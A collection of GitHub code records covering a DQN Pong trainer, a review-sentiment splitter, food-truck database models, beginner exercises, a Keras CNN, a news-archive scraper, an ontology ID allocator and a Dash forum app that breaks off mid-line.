+{"seq_id":"38271098251","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 22 05:53:43 2020\n\n@author: aymanjabri\n\"\"\"\n\nimport random\nimport torch\nimport torch.nn as nn\nimport argparse\nimport numpy as np\nimport wrappers as wrap\nimport torch.nn.functional as F\nfrom collections import namedtuple, deque\n\n\n\n# DEFAULT_ENV_NAME = \"PongNoFrameskip-v4\"\nDEFAULT_ENV_NAME = \"Pong-v0\"\nMEAN_REWARD_BOUND = 19.5\n\nGAMMA = 0.99\nBATCH_SIZE = 32\nREPLAY_SIZE = 10000\nLEARNING_RATE = 1e-4\nSYNC_TARGET_FRAMES = 1000\nREPLAY_START_SIZE = 10000\n\nEPSILON_DECAY_LAST_FRAME = 10**5\nEPSILON_START = 1.0\nEPSILON_FINAL = 0.02\n\n\nExperience = namedtuple('Experience',('state','action','reward', 'done', 'next_state'))\n\nclass DQN(nn.Module):\n    def __init__(self,frame_shape,num_actions):\n        super().__init__()\n        self.conv = nn.Sequential(nn.Conv2d(frame_shape[0], 32, 8, 4),\n                                  nn.ReLU(),\n                                  nn.Conv2d(32, 64, 4, 2),\n                                  nn.ReLU(),\n                                  nn.Conv2d(64, 64, 3, 1),\n                                  nn.ReLU(),\n                                  nn.Flatten()\n                                  )\n        conv_output = self.conv(torch.zeros(1,*frame_shape)).shape[1]\n                                \n        self.fc = nn.Sequential(nn.Linear(conv_output, 512),\n                                nn.ReLU(),\n                                nn.Linear(512, num_actions)\n                                )\n    def forward(self, x):\n        x = self.conv(x)\n        return self.fc(x)\n\n\nclass ReplayMemory():\n    def __init__(self, capacity):\n        self.capacity = capacity\n        self.buffer = deque(maxlen=self.capacity)\n    \n    def __len__(self):\n        return len(self.buffer)\n    \n    def reset(self):\n        self.buffer.clear()\n    \n    def store(self, experience):\n        self.buffer.append(experience)\n    \n    def sample(self, num):\n        size = min(num, len(self.buffer))\n        sample = random.sample(self.buffer, size)\n        s,a,r,d,n = zip(*sample)\n        return np.array(s),np.array(a),np.array(r),np.array(d),np.array(n)\n    \n    def can_sample(self, MIN_BATCH_SIZE):\n        return len(self.buffer) > MIN_BATCH_SIZE\n\n    \nclass Agent():\n    def __init__(self, env, buffer):\n        self.env = env\n        self.buffer = buffer\n        self.reset()\n        \n    def reset(self):\n        self.state = self.env.reset()\n        self.total_rewards = 0.0\n    \n    @torch.no_grad()\n    def play_episode(self, net, epsilon=0.0, device='cpu'):\n        done_rewards = None\n        state = self.state\n        \n        if np.random.random() < epsilon:\n            action = self.env.action_space.sample()\n        else:\n            state_v = torch.tensor([state])\n            q_val = net(state_v)\n            _,act_v = q_val.max(dim=1)\n            action = int(act_v.item())\n            \n        next_state, reward, done, _ = self.env.step(action)\n        self.total_rewards += reward\n        \n        e = Experience(state,action,reward,done,next_state)\n        self.buffer.store(e)\n        self.state = next_state\n        if done:\n            done_rewards = self.total_rewards\n            self.reset()\n        return done_rewards\n    \ndef calc_loss(batch, net, tgt_net, device='cpu'):\n    s,a,r,d,n = batch\n    states = torch.tensor(s)\n    actions = torch.tensor(a, dtype=torch.int64)\n    rewards = torch.tensor(r)\n    done_flags = torch.tensor(d, dtype=torch.bool)\n    new_states = torch.tensor(n)\n    \n    state_action_value = net(states).gather(dim=1,index=actions.view(-1,1)).squeeze(-1)\n    next_state_value = tgt_net(new_states).max(dim=1)[0]\n    next_state_value[done_flags] = 0.0\n    next_state_value.detach_()\n    \n    expected_state_value = rewards + GAMMA * next_state_value\n    return F.mse_loss(expected_state_value, state_action_value)\n    \n\n\nif __name__=='__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--cuda', default=False, action='store_true',help='Enable Cuda')\n    parser.add_argument('--env', default=DEFAULT_ENV_NAME, help='Enter environment, default: ' + \\\n                        DEFAULT_ENV_NAME)\n    parser.add_argument('--reward', type=float, default=MEAN_REWARD_BOUND, help='Reward Bound')\n    arg = parser.parse_args()\n    \n    device = ('cuda' if arg.cuda else 'cpu')\n    env = wrap.make_env(arg.env)\n    \n    frame_shape = env.observation_space.shape\n    num_actions = env.action_space.n\n    net = DQN(frame_shape,num_actions).to(device)\n    tgt_net = DQN(frame_shape,num_actions).to(device)\n    tgt_net.load_state_dict(net.state_dict())\n    \n    buffer = ReplayMemory(REPLAY_SIZE)\n    agent = Agent(env, buffer)\n    optimizer = torch.optim.Adam(net.parameters(),lr = LEARNING_RATE)\n    \n    total_rewards = []\n    frame_idx = 0\n    \n    while True:\n        frame_idx += 1\n        eps = max(EPSILON_FINAL, EPSILON_START - frame_idx/EPSILON_DECAY_LAST_FRAME)\n        \n        reward = agent.play_episode(net, epsilon=eps, device=device)\n        if reward is not None:\n            total_rewards.append(reward)\n            mean_rewards = np.mean(total_rewards[-100:])\n            print(f'{frame_idx}: Episode:{len(total_rewards):.0f}, EPS:{eps:.3f},mean:{mean_rewards:.3f}')\n            if mean_rewards >= MEAN_REWARD_BOUND:\n                print('Solved!')\n                break\n            \n        if len(buffer) < REPLAY_SIZE:\n            continue\n        \n        if frame_idx % SYNC_TARGET_FRAMES == 0 :\n            tgt_net.load_state_dict(net.state_dict())\n        \n        optimizer.zero_grad()\n        batch = buffer.sample(BATCH_SIZE)\n        loss = calc_loss(batch, net, tgt_net, device=device)\n        loss.backward()\n        optimizer.step()\n        \n    \nif __name__=='__main__':\n    main()","repo_name":"ayjabri/playGym","sub_path":"Pong/Pong.py","file_name":"Pong.py","file_ext":"py","file_size_in_byte":5756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24915732267","text":"import pandas as pd\n\n# CSV 파일에서 데이터를 로드합니다. 데이터 파일의 경로를 적절히 수정하세요.\ndf = pd.read_csv('C:/Users/smyoo/PycharmProjects/pythonProject/reviews.csv')\n\n# 'Sentiment' 열을 기준으로 긍정과 부정으로 데이터를 분리하기 전에 Sentiment 값을 이진 분류로 변환합니다.\ndf['Sentiment'] = df['Sentiment'].apply(lambda x: 1 if x == 'Positive' else 0)\n\n# 'Sentiment' 열을 기준으로 긍정과 부정으로 데이터를 분리합니다.\npositive_data = df[df['Sentiment'] == 1]  # 이제 'Sentiment'가 1인 데이터는 긍정 리뷰입니다.\nnegative_data = df[df['Sentiment'] == 0]  # 이제 'Sentiment'가 0인 데이터는 부정 리뷰입니다.\n\n# 긍정 리뷰와 부정 리뷰를 따로 저장할 CSV 파일의 경로를 설정합니다.\npositive_data.to_csv('positive_reviews.csv', index=True)  # index=True로 설정하여 인덱스를 함께 저장합니다.\nnegative_data.to_csv('negative_reviews.csv', index=True)\n\nprint(\"긍정 리뷰와 부정 리뷰를 분리하여 저장했습니다.\")\n","repo_name":"sm022/statics","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"75057864328","text":"\"\"\"\nThis file defines the database models\n\"\"\"\n\nimport datetime\nfrom .common import db, Field, auth\nfrom pydal.validators import *\n\n\ndef get_user_email():\n    return auth.current_user.get('email') if auth.current_user else None\n\n\ndef get_user():\n    return auth.current_user.get('id') if auth.current_user else None\n\n\ndef get_time():\n    return datetime.datetime.utcnow()\n\n\ndotws = ['mon', 'tue', 'wed', 'thu', 'fri', 'sat', 'sun']\ncuisines = ['Italian', 'Mediterranean', 'German', 'Mexican', 'Thai', 'Chinese', 'Indian', 'Japanese',\n            'Korean', 'Vietnamese', 'American']\ndiets = ['None', 'Vegetarian', 'Vegan', 'Pescatarian', 'Gluten-free', 'Kosher', 'Halal']\n\n# Table for a single food truck\ndb.define_table(\n    'food_truck',\n    # food truck ID\n    Field('name', requires=IS_NOT_EMPTY()),\n    Field('thumbnail', 'blob', default=''),  # Image of food truck for listing\n    Field('address', requires=IS_NOT_EMPTY()),\n    Field('cuisine_type', requires=IS_IN_SET(cuisines, multiple=True)),\n    Field('dietary_options', requires=IS_IN_SET(diets, multiple=True), default=''),\n    Field('lat', 'double', requires=IS_FLOAT_IN_RANGE(-1e100, 1e100)),\n    Field('lng', 'double', requires=IS_FLOAT_IN_RANGE(-1e100, 1e100)),\n    Field('phone_number', requires=IS_NOT_EMPTY()),\n    Field('email', requires=IS_EMAIL()),\n    Field('website', requires=IS_URL()),\n    Field('created_by', default=get_user_email),  # links the foodtruck to email it is created by\n)\n\n# Food truck hours for that single food truck\ndb.define_table(\n    'food_truck_hours',\n    Field('food_truck_id', 'reference food_truck', ondelete='CASCADE'),\n    Field('dotw', requires=IS_NOT_EMPTY()),  # day of the week\n    Field('open_time', requires=IS_NOT_EMPTY()),\n    Field('close_time')\n)\n\n# Database table\ndb.define_table(\n    'review',\n    Field('food_truck_id', 'reference food_truck', ondelete='CASCADE'),\n    Field('stars', 'integer', IS_INT_IN_RANGE(0, 5), requires=IS_NOT_EMPTY()),  # The star rating 0-5\n    Field('text', requires=IS_NOT_EMPTY()),  # The review\n    Field('name'),  # The name\n    Field('encoded_image', 'blob', default=''),  # image linked to review\n    Field('created_by', 'reference auth_user', requires=IS_NOT_EMPTY(), ondelete='CASCADE', default=get_user)\n    # 'reference auth_user' causes my thing to break idk why\n)\n\n# DB: Food truck\ndb.food_truck.id.readable = db.food_truck.id.writable = False\ndb.food_truck.created_by.readable = db.food_truck.created_by.writable = False\n\n# DB: Food Truck Hours\ndb.food_truck_hours.id.readable = db.food_truck_hours.id.writable = False\n# db.food_truck_hours.food_truck_id.readable = db.food_truck_hours.food_truck_id.writable = False\n\n# DB: Review\ndb.review.id.readable = db.review.id.writable = False\ndb.review.food_truck_id.readable = db.review.food_truck_id.writable = False\ndb.review.created_by.readable = db.review.created_by.writable = False\n\ndb.commit()\n","repo_name":"benjads/food-truck-finder","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30869915553","text":"# Funções\nfrom datetime import datetime\n\ndef voto(ano):\n    ano_atual = datetime.now().year\n    idade = ano_atual - ano\n    print(idade)\n    \n    if idade >= 65:\n        return 'Voto OPCIONAL'\n    elif idade >= 18:\n        return 'Voto OBRIGATORIO'\n    elif idade < 18:\n        return 'Voto NÃO OBRIGATORIO'\n    \n\nprint(voto(int(input('Ano de nascimento: '))))","repo_name":"jaedsonpys/CursoPython","sub_path":"ex017.py","file_name":"ex017.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33631684839","text":"'''\nРеалізувати програму, яка виводить послідовність чисел від 0 до введеного користувачем числа включно.\nКожне парне число має бути піднесено в квадрат перед виведенням, непарні числа виводяться без змін.\n\nДодаткові умови:\n\nРезультат роботи програми- послідовність чисел;\nВикористати цикл while\nВведене користувачем число зберігається в змінній number\n'''\n\nnumber = int(input(\"Введіть число\"))\nn = 0\n\nwhile n <= number:\n    if n % 2 == 0:\n        print(n ** 2)\n    else:\n        print(n)\n    n = n + 1","repo_name":"SAHavrylova/AutoPyPyPy","sub_path":"qa_task_prom/Week3/Module6_Loop/ht6_3.py","file_name":"ht6_3.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24709694595","text":"py_restful_api_project = \"Python Restful API Project\"\npy_grpc_project = \"Python GRPC Project\"\npy_general_project = \"Python General Project\"\npy_tensorflow_project = \"Python Tensorflow Project\"\npy_web_site_project = \"Python Web Site Project\"\npy_qc_project = \"Python QC Project\"\npy_add_grpc_app = \"Add GRPC Project\"\npy_add_restful_api_app = \"Add Restful API Project\"\npy_add_web_site_app = \"Add Web Site Project\"\npy_app_subfolder_api = \"restful_api\"\npy_app_subfolder_web = \"web_page\"\npy_app_subfolder_grpc = \"grpc_api_example\"\npy_app_subfolder_grpc_imp = \"grpc_api\"\ncpp_general_project = \"Cpp General Project\"\ncpp_add_external_project = \"Add External Project\"\ncpp_add_static_lib = \"Add Static Library\"\ncpp_add_dynamic_lib = \"Add Dynamic Library\"\ncpp_add_simple_app = \"Add Simple App\"\ncpp_add_qt_app = \"Add QT App\"\ncpp_add_qt_static_lib = \"Add QT Static Library\"\ncpp_add_qt_dynamic_lib = \"Add QT Dynamic Library\"\nk8s_general_project = \"General Infra Project\"\n","repo_name":"SulfredLee/DailyProblem","sub_path":"devTools/projectManager/projectmanager/internal/commonConst.py","file_name":"commonConst.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"40863967635","text":"# Importar la librería Keras\nimport keras\nfrom keras.models import Model\nfrom keras.layers import *\n\n\ndef net_1(sample_shape, nb_classes):\n    # Defina la entrada de la red para que tenga la dimensión `sample_shape`\n    input_x = Input(shape=sample_shape)\n\n    # Generar 32 kernel maps utilizando una capa convolucional\n    x = Conv2D(32, (3, 3), padding='same', activation='relu')(input_x)\n\n    # Generar 64 kernel maps utilizando una capa convolucional\n    x = Conv2D(64, (3, 3), padding='same', activation='relu')(x)\n\n    # Reducir los feature maps utilizando max-pooling\n    x = MaxPooling2D(pool_size=(2, 2), padding='same')(x)\n\n    # Aplanar el feature map\n    x = Flatten()(x)\n\n    # Capa fully-connected, 128 dimensiones con activación ReLU\n    x = Dense(128, activation='relu')(x)\n\n    # Capa fully-connected a nb_classes dimensiones con activación Softmax\n    probabilities = Dense(nb_classes, activation='softmax')(x)\n\n    # Definir la salida\n    model = Model(inputs=input_x, outputs=probabilities)\n\n    return model","repo_name":"rodrillz/Intro_IA","sub_path":"OverleafMedia/net_1.py","file_name":"net_1.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32987607290","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri May  1 20:58:56 2020\r\n\r\n@author: Raúl\r\n\"\"\"\r\n\r\nMAX = \"white\"\r\nMIN = \"black\"\r\n\r\nclass Piece:\r\n    isKing = False\r\n    isBlack = None\r\n    \r\n    #constructor for the piece class, indicating the color of the piece\r\n    #initially all the pieces are not kings\r\n    def __init__(self,color):    \r\n        if color == MIN:\r\n            self.isBlack = True\r\n        elif color == MAX:\r\n            self.isBlack = False\r\n            ","repo_name":"raulng9/MinMaxCheckers","sub_path":"Piece.py","file_name":"Piece.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71327300487","text":"from requests_html import AsyncHTMLSession\nfrom concurrent.futures import ThreadPoolExecutor\nimport pyppdf.patch_pyppeteer\nimport asyncio\nimport csv\nimport json\nimport urllib\nimport pickle\n\n\nnum_thr = 40\n\n#with open(\"all_url.json\") as f:\n#with open(\"remaining_urls.json\") as f:\n#with open(\"new_headlines.json\", 'r') as f:\n#with open('new_urls_v2.json', 'r') as f:\n#with open('missing_urls.json', 'r') as f:\nwith open('archive_urls.json', 'r') as f:\n    data = json.load(f)\n    qids = [one for one in data]\n    qurls = [data[one] for one in data]\n    for n,url in enumerate(qurls):\n        if 'wbur.org' in url:\n            qurls[n] = 'http://'+url.split('http://')[1]\n    url_dict = dict(zip(qids, qurls))\n    qurls = list(zip(qids, qurls))\n    #qurls = qurls[20:]\nfinal_urls = qurls\n\n'''\n# Uncomment to start from previous url key\nstart_url = \"578410\"\nstart = False\nfinal_urls = []\nfor url in qurls:\n    if start:\n        final_urls.append(url)\n    if url[0] == start_url:\n        start = True\nprint('Processing {} urls'.format(len(final_urls)))\n'''\n    \ndef batch_list(l, n):\n    for i in range(0, len(l), n):\n        yield l[i:i + n]\n        \nasync def fetch(session, url, qid):\n    # print(i)\n    # print(url)\n    print(url)\n    try:\n        r = await session.get(url)\n        await r.html.arender(wait=3.)\n        r.close()\n        return (qid, r.html)\n    except Exception as e:\n        print(e)\n        return (qid, '')\n\nasync def get_data_asynchronous():  \n    global final_urls\n    with ThreadPoolExecutor(max_workers=num_thr) as executor:\n        with AsyncHTMLSession() as session:\n            loop = asyncio.get_event_loop()\n            for batch in list(batch_list(final_urls, num_thr)):\n                results = {}\n                \n                tasks = [\n                  await loop.run_in_executor(\n                    executor,\n                    fetch,\n                    *(session, url, qid) # Allows us to pass in multiple arguments to `fetch`\n                  )\n                  for qid, url in batch\n                ]\n                for response in await asyncio.gather(*tasks):\n                    #breakpoint()\n                    response_id = response[0]\n                    response = response[1]\n                    if not response:\n                        continue\n                    #s = response.search('results found in')\n                    #hit = response.find('.ais-InfiniteHits-item', first=True)\n                    date = [one.text for one in response.find(\".dateblock\")]\n                    if date and date[0]:\n                        date = date[0]\n                    title = [one.text for one in response.find(\".storytitle\")]\n                    body = [one.text for one in response.find(\"#storytext>p\")]\n                    #print(response_id, url_dict[response_id], not title, not body)\n                    if title and title[0] and any(body):\n                        results.update({response_id: {\"title\":title[0], \"body\":' '.join(body), 'date': date}})\n                with open(\"archive_url_texts.jsonl\", \"a+\") as f:\n                    for k,v in results.items():\n                        l = json.dumps({k:v})\n                        f.write(l+'\\n')\n        \nif __name__ == \"__main__\":\n    loop = asyncio.get_event_loop()\n    future = asyncio.ensure_future(get_data_asynchronous())\n    loop.run_until_complete(future)\n","repo_name":"searchableai/labs-ron-burgundy","sub_path":"npr_scrapers/get_text_from_url.py","file_name":"get_text_from_url.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70428140490","text":"\"\"\"\nResponsible with allocating stable PCL IDs for taxonomy nodes. Id ranges for taxonomies are allocated based on\ntaxonomies order in the 'taxonomy_details.yaml' configuration file. Automatic ID range allocation starts from\n#ID_RANGE_BASE and allocates 400 IDs for classes and 600 IDs for individuals\n\nID range allocation logic is as follows\n\n    - 0010000 to 0010999  custom classes and properties (manually managed)\n    - 0011000 taxonomy1 individual # idle: now individuals use accession_id\n    - 0011001 to 0011499 taxonomy1 classes (500)\n    - 0011500 to 0012450 taxonomy1 individuals (950) # idle: now individuals use accession_id\n    - 0012451 to 0012500 taxonomy1 datasets (50)\n    - 0012501 to 0012999 taxonomy1 marker gene sets (500)\n    - 0013000 to 0014999 taxonomy1 spare id space (2000)\n    -\n    - 0015000 taxonomy2 individual # idle: now individuals use accession_id\n    - 0015001 to 0015499 taxonomy2 classes\n    - 0015500 to 0016450 taxonomy2 individuals # idle: now individuals use accession_id\n    - 0016451 to 0016500 taxonomy2 datasets\n    - 0016501 to 0016999 taxonomy2 marker gene sets\n    - 0017000 to 0018999 taxonomy2 spare id space\n    - ...\n\n\"\"\"\n\nimport yaml\nimport os\n\n\nTAXONOMY_DETAILS_YAML = os.path.join(os.path.dirname(os.path.realpath(__file__)),\n                                     '../dendrograms/taxonomy_details.yaml')\n\n# Allocate IDs starting from PCL_0011000\nID_RANGE_BASE = 11000\nTAXONOMY_ID_RANGE = 4000\nINDV_ID_DISPLACEMENT = 500\nDATASET_ID_DISPLACEMENT = 1451\nMARKER_SET_ID_DISPLACEMENT = 1500\n\n\ndef read_taxonomy_details_yaml():\n    with open(r'%s' % TAXONOMY_DETAILS_YAML) as file:\n        documents = yaml.full_load(file)\n    return documents\n\n\ntaxonomies = read_taxonomy_details_yaml()\ntaxonomy_ids = [taxon[\"Taxonomy_id\"] for taxon in taxonomies]\n\n\ndef get_class_id(accession_id):\n    \"\"\"\n    Generates a PCL id for the given accession id. Parses taxonomy id from accession id and based on taxonomy's order\n    in the 'taxonomy_details.yaml' finds the allocated id range for the taxonomy. Generates a PCL id displaced by the\n    node_id.\n    Args:\n        accession_id: cell set accession id\n\n    Returns: seven digit PCL id as string\n    \"\"\"\n    node_id, taxonomy_index = parse_accession_id(accession_id)\n    pcl_id = ID_RANGE_BASE + (TAXONOMY_ID_RANGE * taxonomy_index) + node_id\n\n    return str(pcl_id).zfill(7)\n\n\ndef get_individual_id(accession_id):\n    \"\"\"\n    DEPRECATED: now individuals use accession_id\n\n    Generates a PCL id for the given accession id. Parses taxonomy id from accession id and based on taxonomy's order\n    in the 'taxonomy_details.yaml' finds the allocated id range for the taxonomy. Generates a PCL id displaced by the\n    node_id in the individual range (taxonomy range + 500).\n    Args:\n        accession_id: cell set accession id\n\n    Returns: seven digit PCL id as string\n    \"\"\"\n    node_id, taxonomy_index = parse_accession_id(accession_id)\n    pcl_id = ID_RANGE_BASE + (TAXONOMY_ID_RANGE * taxonomy_index) + INDV_ID_DISPLACEMENT + node_id\n\n    return str(pcl_id).zfill(7)\n\n\ndef get_taxonomy_id(taxonomy_id):\n    \"\"\"\n    DEPRECATED: now individuals use accession_id\n\n    Generates a PCL id for the given taxonomy. it is the first id of the taxonomy allocated id range (such as 0012000)\n    Args:\n        taxonomy_id: taxonomy id\n\n    Returns: seven digit PCL id as string\n    \"\"\"\n    taxonomy_index = get_taxonomy_index(taxonomy_id)\n    pcl_id = ID_RANGE_BASE + (TAXONOMY_ID_RANGE * taxonomy_index)\n\n    return str(pcl_id).zfill(7)\n\n\ndef get_dataset_id(taxonomy_id, dataset_index):\n    \"\"\"\n    Generates a PCL id for the given dataset. Dataset id range is last 50 ids of the taxonomy id range.\n    Args:\n        taxonomy_id: taxonomy id\n        dataset_index: index of the dataset (0 to 48)\n\n    Returns: seven digit PCL id as string\n    \"\"\"\n    taxonomy_index = get_taxonomy_index(taxonomy_id)\n    pcl_id = ID_RANGE_BASE + (TAXONOMY_ID_RANGE * taxonomy_index) + DATASET_ID_DISPLACEMENT + dataset_index\n\n    return str(pcl_id).zfill(7)\n\n\ndef get_marker_gene_set_id(accession_id):\n    \"\"\"\n    Generates a PCL id for the given accession id. Parses taxonomy id from accession id and based on taxonomy's order\n    in the 'taxonomy_details.yaml' finds the allocated id range for the taxonomy. Generates a PCL id displaced by the\n    node_id in the marker gene set range (taxonomy range + 400).\n    Args:\n        accession_id: cell set accession id\n\n    Returns: seven digit PCL id as string\n    \"\"\"\n    node_id, taxonomy_index = parse_accession_id(accession_id)\n    pcl_id = ID_RANGE_BASE + (TAXONOMY_ID_RANGE * taxonomy_index) + MARKER_SET_ID_DISPLACEMENT + node_id\n\n    return str(pcl_id).zfill(7)\n\n\ndef parse_accession_id(accession_id):\n    \"\"\"\n    Parses taxonomy id and node id from the accession id and returns taxonomy index and the node id.\n    Args:\n        accession_id: cell set accession id\n\n    Returns: tuple of node_id and taxonomy's index in the 'taxonomy_details.yaml' config file.\n    \"\"\"\n    if \"_\" in accession_id:\n        accession_parts = str(accession_id).split(\"_\")\n        node_id = int(accession_parts[1].strip())\n        taxonomy_id = accession_parts[0]\n        taxonomy_index = get_taxonomy_index(taxonomy_id)\n    else:\n        # assume last 3 is node id\n        node_id = int(accession_id[len(accession_id)-3:])\n        taxonomy_id = accession_id[:len(accession_id)-3]\n        taxonomy_index = get_taxonomy_index(taxonomy_id)\n\n    return node_id, taxonomy_index\n\n\ndef get_taxonomy_index(taxonomy_id):\n    if taxonomy_id in taxonomy_ids:\n        taxonomy_index = taxonomy_ids.index(taxonomy_id)\n    elif taxonomy_id.replace(\"CS\", \"CCN\") in taxonomy_ids:\n        taxonomy_index = taxonomy_ids.index(taxonomy_id.replace(\"CS\", \"CCN\"))\n    else:\n        raise ValueError(\"Cannot find '{}' in the taxonomy config.\".format(taxonomy_id))\n    return taxonomy_index\n\n\ndef get_reverse_id(pcl_id_str):\n    \"\"\"\n    Converts PCL id to cell cet accession id\n    Args:\n        pcl_id_str: PCL id\n    Returns: cell cet accession id\n    \"\"\"\n    if str(pcl_id_str).startswith(\"http://purl.obolibrary.org/obo/pcl/\") or str(pcl_id_str).startswith(\"PCL_INDV:\"):\n        pcl_id_str = str(pcl_id_str).replace(\"http://purl.obolibrary.org/obo/pcl/\", \"\")\n        pcl_id_str = str(pcl_id_str).replace(\"PCL_INDV:\", \"\")\n        return pcl_id_str\n\n    pcl_id_str = str(pcl_id_str).replace(\"http://purl.obolibrary.org/obo/PCL_\", \"\")\n    pcl_id_str = str(pcl_id_str).replace(\"PCL:\", \"\")\n    pcl_id_str = str(pcl_id_str).replace(\"PCL_\", \"\")\n\n    pcl_id = int(pcl_id_str)\n\n    taxonomy_index = int((pcl_id - ID_RANGE_BASE) / TAXONOMY_ID_RANGE)\n    taxonomy_id = taxonomy_ids[taxonomy_index].replace(\"CCN\", \"CS\")\n\n    node_id = (pcl_id - ID_RANGE_BASE) - (TAXONOMY_ID_RANGE * taxonomy_index)\n    if node_id > INDV_ID_DISPLACEMENT:\n        node_id = node_id - INDV_ID_DISPLACEMENT\n\n    if taxonomy_id == \"CS1908210\":\n        accession_id = taxonomy_id + str(node_id).zfill(3)\n    else:\n        accession_id = taxonomy_id + \"_\" + str(node_id)\n\n    return accession_id\n\n\ndef is_pcl_id(id_str):\n    \"\"\"\n    Returns 'True' if given id is PCL id.\n    Args:\n        id_str: ID string to check\n    Returns: 'True' if given id is PCL id, 'False' otherwise\n    \"\"\"\n    return str(id_str).startswith(\"http://purl.obolibrary.org/obo/PCL_\") \\\n        or str(id_str).startswith(\"PCL:\") or str(id_str).startswith(\"PCL_\") \\\n        or str(id_str).startswith(\"http://purl.obolibrary.org/obo/pcl/\") \\\n        or str(id_str).startswith(\"PCL_INDV:\")\n","repo_name":"obophenotype/brain_data_standards_ontologies","sub_path":"src/scripts/pcl_id_factory.py","file_name":"pcl_id_factory.py","file_ext":"py","file_size_in_byte":7505,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"16"}
+{"seq_id":"26157624662","text":"import dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nimport dash\nfrom app import app\nfrom dash.exceptions import PreventUpdate\nimport json\nimport os\nimport sys\nimport subprocess\nimport visdcc\n\n\n\n\nfrom dash.dependencies import Input, Output, State\n\ncomments = []\narguments = []\noutputs = []\nstates = []\n\nindexglob = 0\n\n\n\n\nwith open('postdb/data.json', 'r') as db:\n    data = json.load(db)\n    for element in data.keys():\n        for value in data[element].keys():\n            comments.append(Input('commentbutton' + str(indexglob), 'n_clicks'))\n            comments.append(Input('commenttext' + str(indexglob), 'value'))\n            arguments.append('click' + str(indexglob))\n            arguments.append('commenttext' + str(indexglob))\n            arguments.append('posttitle' + str(indexglob))\n            outputs.append(Output('commentarea' + str(indexglob), 'children'))\n            states.append(State('posttitle' + str(indexglob), 'children'))\n            states.append(State('commenttext' + str(indexglob), 'value'))\n            #states.append(State('commentarea' + str(indexglob), 'children'))\n            print(states)\n            print(indexglob)\n            indexglob += 1\n\n    arguments.append('username')\n    states.append(State('user', 'value'))\n\nSIDEBAR_STYLE = {\n    'box-sizing':'border-box',\n    'width': '20%',\n    'border': '1px solid black',\n    'float': 'left',\n    'text-indent': '5%',\n    'padding-bottom': '100%',\n    \"background-color\": \"#EAF0F1\"\n}\nMAIN_STYLE = {\n  'box-sizing':'border-box',\n  'width': '80%',\n  'float': 'left',\n  'background-color': '#AFAFAF',\n  'marign': '20%',\n  'padding-bottom': '100%',\n  \"maxHeight\": \"400px\",\n  \"overflow\": \"scroll\"\n}\nsidebar = html.Div(\n    [\n        html.H2(\"Sidebar\"),\n\n    ]\n)\n\npost = html.Div([\n            html.H2(\"Thread\"),\n\n\n        ], style={'background-color': '#DDDDDD', 'margin': '1%', 'border': '1px solid black', 'border-radius': '10px'})\n\n\n\nmainfeed = []\n\n\n\nselectfeature = html.Div([\n    html.H2(\"Search\", style={'text-align': 'center'}),\n    dcc.Input(id='title', value='Title'),\n    dcc.Input(id='user', value='Username'),\n    dcc.Textarea(\n        id='textarea',\n        value='Please write your post here.',\n        style={'width': '100%', 'height': 300},\n    ),\n    html.Button('Post', id='post', n_clicks=0, style={'float':'left', 'box-sizing':'border-box', 'margin-right':'2%'}),\n\n    html.Div(id='output2'),\n    html.Br(),\n    html.Br()\n\n], style={\"background-color\": \"#DDDDDD\", 'margin': '5%', 'margin-top':'4%', 'border-radius': '10px', 'border': '1px solid black',})\n\n@app.callback(\n    Output('mainfeed', 'children'),\n    [Input(\"post\", \"n_clicks\"),\n    Input('output2', 'children')]\n)\ndef update_forward_dropdown(click, output2):\n    print('HELLOOOOOOOOOOOO')\n    mainfeed = []\n    index2 = 0\n    with open('postdb/data.json', 'r') as db:\n        data = json.load(db)\n        print(data)\n    for element in data.keys():\n        for value in data[element].keys():\n            print(element, 'here we arererererererere')\n            mainfeed.append(generatepost(element, value, list(data[element][value].keys())[0], index2, list(data[element][value].values())[0]))\n            print(index2, 'indexx222')\n            #comments.append(Input('commentarea' + str(index), 'children'))\n            #print(comments)\n            index2 += 1\n\n    return mainfeed\n\n\n\n\n\n@app.callback(\n    Output('user', 'value'),\n    [Input(\"post\", \"n_clicks\")]\n)\ndef update_username(click):\n    output = 'Username'\n    try:\n        output = os.environ['KAGGLE_USERNAME']\n    except: # catch *all* exceptions\n        output = 'Username'\n\n    return output\n'''\n@app.callback(\n    Output('javascript', 'run'),\n    [Input('post', 'n_clicks')])\ndef refresh_button_clicked(clicks):\n    if clicks > 0:\n        return \"location.reload();\"\n    return ''\n'''\n@app.callback(\n    Output('output2', 'children'),\n    [Input('post', 'n_clicks')],\n    State('title', 'value'),\n    State('user', 'value'),\n    State('textarea', 'value')\n)\ndef update_postdb(clicks, title, user, text):\n    print('DO we do this 123')\n    if clicks != 0:\n        print('hellomoto')\n        dic = {'user54': {'Hello Everyone!':{'This is the post I have sent to the platfrom.' : ['andrewritchie98', 'Welcome!']}}}\n\n        with open('postdb/data.json', 'r') as db:\n            data = json.load(db)\n            print(data)\n            print(type(data))\n            if user not in data.keys():\n                data.update({user: 